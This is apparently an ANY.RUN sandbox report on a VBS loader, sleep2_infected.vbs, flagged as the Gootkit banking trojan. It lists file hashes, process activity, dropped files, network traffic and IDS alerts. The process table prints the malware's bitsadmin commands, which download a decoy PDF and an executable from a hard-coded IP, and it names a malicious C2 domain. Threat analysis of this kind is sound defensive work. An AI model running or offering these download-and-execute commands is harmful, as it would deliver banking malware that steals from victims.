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File name:

sleep2_infected.vbs

Full analysis: https://app.any.run/tasks/e025bad9-4603-4a3e-a874-91f861bc0552
Verdict: Malicious activity
Threats:

Gootkit is an advanced banking trojan. It is extremely good at evading detection and has an incredibly effective persistence mechanism, making it a dangerous malware that researchers and organizations should be aware of.

Analysis date: June 19, 2019, 11:50:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
gootkit
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

973E576F9327FDBA20AC598DF455FCEF

SHA1:

4F5ED6783F2D89722B141BBD7E2EC79B84892ECD

SHA256:

0BC8F3974339059B45A59A015174789AAC1B7FA36C82D7FAA3648788E7DB0AC5

SSDEEP:

48:1rU1j3+sMfnRMmusjy0mklhtelkftQE3tudC2tA3tt8tFUCC2t7tMttmL4Ckp7xR:141bU6dzM9bRCUV6NjphO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • mzrwzxul.exe (PID: 3804)
      • mzrwzxul.exe (PID: 2200)
    • Changes settings of System certificates

      • mzrwzxul.exe (PID: 2200)
    • GOOTKIT was detected

      • mzrwzxul.exe (PID: 2200)
    • GOOTKIT detected

      • mzrwzxul.exe (PID: 3804)
    • Changes internet zones settings

      • mzrwzxul.exe (PID: 3804)
  • SUSPICIOUS

    • Executed via WMI

      • bitsadmin.exe (PID: 3632)
      • explorer.exe (PID: 3440)
      • mzrwzxul.exe (PID: 3804)
      • bitsadmin.exe (PID: 3512)
    • Executed via COM

      • explorer.exe (PID: 3360)
    • Adds / modifies Windows certificates

      • mzrwzxul.exe (PID: 2200)
    • Creates files in the program directory

      • AdobeARM.exe (PID: 3820)
  • INFO

    • Application launched itself

      • RdrCEF.exe (PID: 3352)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
13
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs bitsadmin.exe no specs explorer.exe no specs bitsadmin.exe no specs explorer.exe no specs acrord32.exe acrord32.exe no specs #GOOTKIT mzrwzxul.exe #GOOTKIT mzrwzxul.exe rdrcef.exe no specs rdrcef.exe no specs adobearm.exe no specs reader_sl.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2788"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\sleep2_infected.vbs"C:\Windows\System32\WScript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3632bitsadmin.exe /transfer W1 /priority FOREGROUND http://185.158.248.80/dload/12099/pdf1213 C:\Users\admin\AppData\Local\Temp\generated_lagy.pdfC:\Windows\system32\bitsadmin.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3440explorer.exe C:\Users\admin\AppData\Local\Temp\generated_lagy.pdfC:\Windows\explorer.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3512bitsadmin.exe /transfer W /priority FOREGROUND http://185.158.248.80/dload/12099/fix/331a C:\Users\admin\AppData\Local\Temp\mzrwzxul.exeC:\Windows\system32\bitsadmin.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
BITS administration utility
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3360C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -EmbeddingC:\Windows\explorer.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4064"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\admin\AppData\Local\Temp\generated_lagy.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
explorer.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
3684"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer "C:\Users\admin\AppData\Local\Temp\generated_lagy.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeAcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
3804C:\Users\admin\AppData\Local\Temp\mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\mzrwzxul.exe
wmiprvse.exe
User:
admin
Integrity Level:
MEDIUM
2200C:\Users\admin\AppData\Local\Temp\mzrwzxul.exe --vwxyzC:\Users\admin\AppData\Local\Temp\mzrwzxul.exe
mzrwzxul.exe
User:
admin
Integrity Level:
MEDIUM
3352"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16448250C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeAcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe RdrCEF
Exit code:
3221225547
Version:
15.23.20053.211670
Total events
1 849
Read events
306
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
7
Text files
24
Unknown types
10

Dropped files

PID
Process
Filename
Type
2200mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\Cab4F2D.tmp
MD5:
SHA256:
2200mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\Tar4F2E.tmp
MD5:
SHA256:
2200mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\Cab4F4E.tmp
MD5:
SHA256:
2200mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\Tar4F4F.tmp
MD5:
SHA256:
2200mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\Cab4FBD.tmp
MD5:
SHA256:
2200mzrwzxul.exeC:\Users\admin\AppData\Local\Temp\Tar4FBE.tmp
MD5:
SHA256:
3684AcroRd32.exeC:\Users\admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal
MD5:
SHA256:
3684AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt16.lst.3684
MD5:
SHA256:
3684AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\AdobeFnt16.lst.3684
MD5:
SHA256:
3684AcroRd32.exeC:\Users\admin\AppData\Local\Temp\acrord32_sbx\A9R1pdov41_zik0xw_2uc.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
11
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
HEAD
200
185.158.248.80:80
http://185.158.248.80/dload/12099/pdf1213
RO
suspicious
GET
200
185.158.248.80:80
http://185.158.248.80/dload/12099/pdf1213
RO
binary
77.0 Kb
suspicious
HEAD
200
185.158.248.80:80
http://185.158.248.80/dload/12099/fix/331a
RO
binary
77.0 Kb
suspicious
4064
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/277_15_23_20070.zip
unknown
whitelisted
2200
mzrwzxul.exe
GET
200
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
56.2 Kb
whitelisted
4064
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/281_15_23_20070.zip
unknown
whitelisted
4064
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/280_15_23_20070.zip
unknown
whitelisted
4064
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/279_15_23_20070.zip
unknown
whitelisted
GET
200
185.158.248.80:80
http://185.158.248.80/dload/12099/fix/331a
RO
executable
182 Kb
suspicious
4064
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/message.zip
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
185.158.248.80:80
M247 Ltd
RO
suspicious
4064
AcroRd32.exe
2.16.186.33:80
acroipm2.adobe.com
Akamai International B.V.
whitelisted
2200
mzrwzxul.exe
93.184.221.240:80
www.download.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
23.210.248.251:443
armmf.adobe.com
Akamai International B.V.
NL
whitelisted
23.58.217.61:443
ardownload2.adobe.com
Akamai Technologies, Inc.
US
whitelisted
4064
AcroRd32.exe
23.210.248.251:443
armmf.adobe.com
Akamai International B.V.
NL
whitelisted
2200
mzrwzxul.exe
87.120.254.30:443
checkcacheonline.com
Neterra Ltd.
BG
malicious

DNS requests

Domain
IP
Reputation
checkcacheonline.com
  • 87.120.254.30
malicious
www.download.windowsupdate.com
  • 93.184.221.240
whitelisted
acroipm2.adobe.com
  • 2.16.186.33
  • 2.16.186.32
whitelisted
armmf.adobe.com
  • 23.210.248.251
whitelisted
ardownload2.adobe.com
  • 23.58.217.61
whitelisted

Threats

PID
Process
Class
Message
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
1 ETPRO signatures available at the full report
Process
Message
mzrwzxul.exe
MP3 file corrupted
mzrwzxul.exe
WMA 0
mzrwzxul.exe
OGG 0
mzrwzxul.exe
WMA 2